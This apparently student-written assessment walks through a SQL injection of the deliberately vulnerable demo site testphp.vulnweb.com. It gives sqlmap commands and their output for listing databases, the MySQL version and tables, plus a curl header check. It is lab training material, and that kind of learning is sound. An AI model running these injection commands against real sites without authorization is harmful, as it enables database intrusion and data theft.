Assessment #6 SQL Injection

Perform a SQL Injection attack along with other tools against the site http://testphp.vulnweb.com/.

Discover the following:

1. Names of internal databases

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=2" --dbs
```

Using Sqlmap, we are able to find that the web server has two databases, "acurat" and "information schema."

```
[09:10:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL ≥ 5.0.12
[09:10:29] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[09:10:29] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2 times
[09:10:29] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
[*] ending @ 09:10:29 /2023-11-20/
```

2. Version of database

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=2" --banner
```

With the same Sqlmap command followed by the --banner, we can determine the database used and its version (MySQL \geq 5.0.12).

```
[09:12:04] [INFO] the back-end DBMS is MySQL
[09:12:04] [INFO] fetching banner
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL ≥ 5.0.12
banner: '8.0.22-0ubuntu0.20.04.2'
[09:12:05] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
[*] ending @ 09:12:05 /2023-11-20/
```

3. Names of Database tables

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=2" -D Acurat --tables

Database: acuart
[8 tables]
```

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=2" -D information_schema --tables

```
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```

Here, we use -D followed by the database name, followed by --tables to retrieve the tables in the database.

4. PHP version

curl -I http://testphp.vulnweb.com/

By using Curl followed by -I, we can determine the web server and application used. In this case, it is nginx - 1.19.0 with PHP 5.6.40 on Ubuntu. Alternatively, tools like Wappalyzer, a browser extension, can provide information about the server, including the operating system, web server, and application hosting the web page. It is one of the easiest ways to gather details about the web server.

